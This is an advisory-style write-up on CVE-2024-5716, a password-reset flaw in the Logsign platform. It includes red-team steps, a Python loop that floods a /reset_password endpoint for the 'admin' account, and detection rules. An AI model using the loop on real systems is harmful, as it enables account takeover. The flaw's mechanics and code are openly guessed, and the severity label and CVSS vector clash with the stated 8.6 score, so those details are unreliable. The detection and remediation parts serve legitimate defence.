CVE-2024-5716

Executive Summary

CVE-2024-5716 is a critical authentication bypass vulnerability in the Logsign Unified SecOps Platform, scoring 8.6 on the CVSS scale. The flaw resides in the password reset mechanism, which lacks proper rate limiting or restriction of excessive authentication attempts. This allows an unauthenticated remote attacker to brute-force or manipulate the password reset flow, effectively resetting any user’s password and gaining full administrative access to the platform. No authentication is required to exploit this vulnerability, and no public proof-of-concept or patch is currently available. The vulnerability was originally reported via ZDI-CAN-24164.

CVSS Breakdown & Threat Level

• CVSS Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high score reflects the ease of exploitation (no authentication, low complexity) and the severe impact: an attacker can fully compromise the platform, access all logs, alerts, and configurations, and potentially pivot to other systems.

Deep Dive & Mechanics

The vulnerability exists in the password reset endpoint of the Logsign Unified SecOps Platform. The password reset mechanism does not enforce any rate limiting, CAPTCHA, or token expiration controls. An attacker can send a high volume of password reset requests to a known user account, or manipulate the reset token generation process to predict or bypass the token.

The specific flaw is a lack of restriction of excessive authentication attempts (CWE-307). By repeatedly submitting password reset requests, the attacker can either:

• Trigger a password reset without proper validation, or
• Brute-force the reset token (if it is weak or predictable).

Once the password is reset, the attacker can log in with the new credentials and gain full access to the platform, including all security logs, dashboards, and administrative functions.

Vulnerable vs. Patched Code

No official patch or patched code is available. The vulnerable code likely resides in the password reset handler, which may look like:

# Vulnerable pseudo-code
def reset_password(request):
    username = request.POST.get('username')
    # No rate limiting or token validation
    new_password = generate_random_password()
    update_user_password(username, new_password)
    send_email(username, new_password)
    return "Password reset successful"

A patched version would include:

• Rate limiting per IP and per user
• Strong, unpredictable reset tokens with expiration
• CAPTCHA or challenge-response
• Multi-factor authentication for password reset

# Patched pseudo-code
def reset_password(request):
    if rate_limit_exceeded(request.remote_addr):
        return "Too many requests", 429
    username = request.POST.get('username')
    token = generate_secure_token()
    store_reset_token(username, token, expiry=datetime.now() + timedelta(minutes=15))
    send_reset_link(username, token)
    return "Reset link sent"

Exploitation & Lab Setup

Red Team

1. Identify the target: Scan for Logsign Unified SecOps Platform instances (default ports 443, 8080).
2. Enumerate users: Use common usernames (admin, operator, analyst) or leak via error messages.
3. Exploit password reset: Send repeated POST requests to the password reset endpoint (e.g., /reset_password) with the target username.
4. Intercept reset token: If tokens are predictable (e.g., timestamp-based), generate valid tokens and reset the password.
5. Login: Use the new password to access the platform.

Lab Setup:

• Deploy a vulnerable Logsign instance (version unknown) in a controlled environment.
• Use Burp Suite or custom Python script to send requests.
• Example Python script:

import requests

target = "https://target-logsign.com"
username = "admin"

for i in range(1000):
    data = {"username": username}
    r = requests.post(f"{target}/reset_password", data=data)
    if "success" in r.text:
        print(f"Password reset triggered at attempt {i}")
        break

Blue Team

• Monitor for excessive POST requests to /reset_password or similar endpoints.
• Alert on multiple password reset attempts from a single IP within a short time window.
• Enable logging of all password reset events and correlate with login attempts.
• Implement network segmentation to limit exposure of the Logsign platform.

Indicators of Compromise (IOCs)

• Network: Unusual high volume of POST requests to /reset_password or /api/reset-password.
• Logs: Multiple password reset success events for the same user in a short period.
• Authentication: Login from a new IP immediately after a password reset.
• File: Modified user database entries (e.g., password hash changed).
• Process: Unauthorized administrative actions (e.g., new user creation, log deletion).

Detection Engineering

YARA Rule

rule Logsign_Password_Reset_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-5716 via password reset abuse"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5716"
    strings:
        $s1 = "reset_password" ascii nocase
        $s2 = "password reset" ascii nocase
        $s3 = "username=" ascii nocase
    condition:
        any of ($s*) and #s1 > 10
}

Sigma Rule

title: Logsign Password Reset Brute-Force
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple password reset attempts to Logsign Unified SecOps Platform
author: Valters IT
logsource:
    category: web
    product: logsign
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/reset_password'
    condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
    - Legitimate password reset by multiple users
level: high

Suricata Rule

alert http any any -> any any (msg:"Logsign Password Reset Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/reset_password"; http_uri; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the password reset functionality if not required, or restrict it to internal networks only.
• Short-term: Implement rate limiting on the password reset endpoint (e.g., 3 attempts per IP per hour).
• Long-term: Apply vendor patch when available. If no patch is forthcoming, consider migrating to an alternative SIEM/SOAR platform.
• Compensating controls: Use a Web Application Firewall (WAF) to block excessive requests to the password reset endpoint. Enable multi-factor authentication (MFA) for all users.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert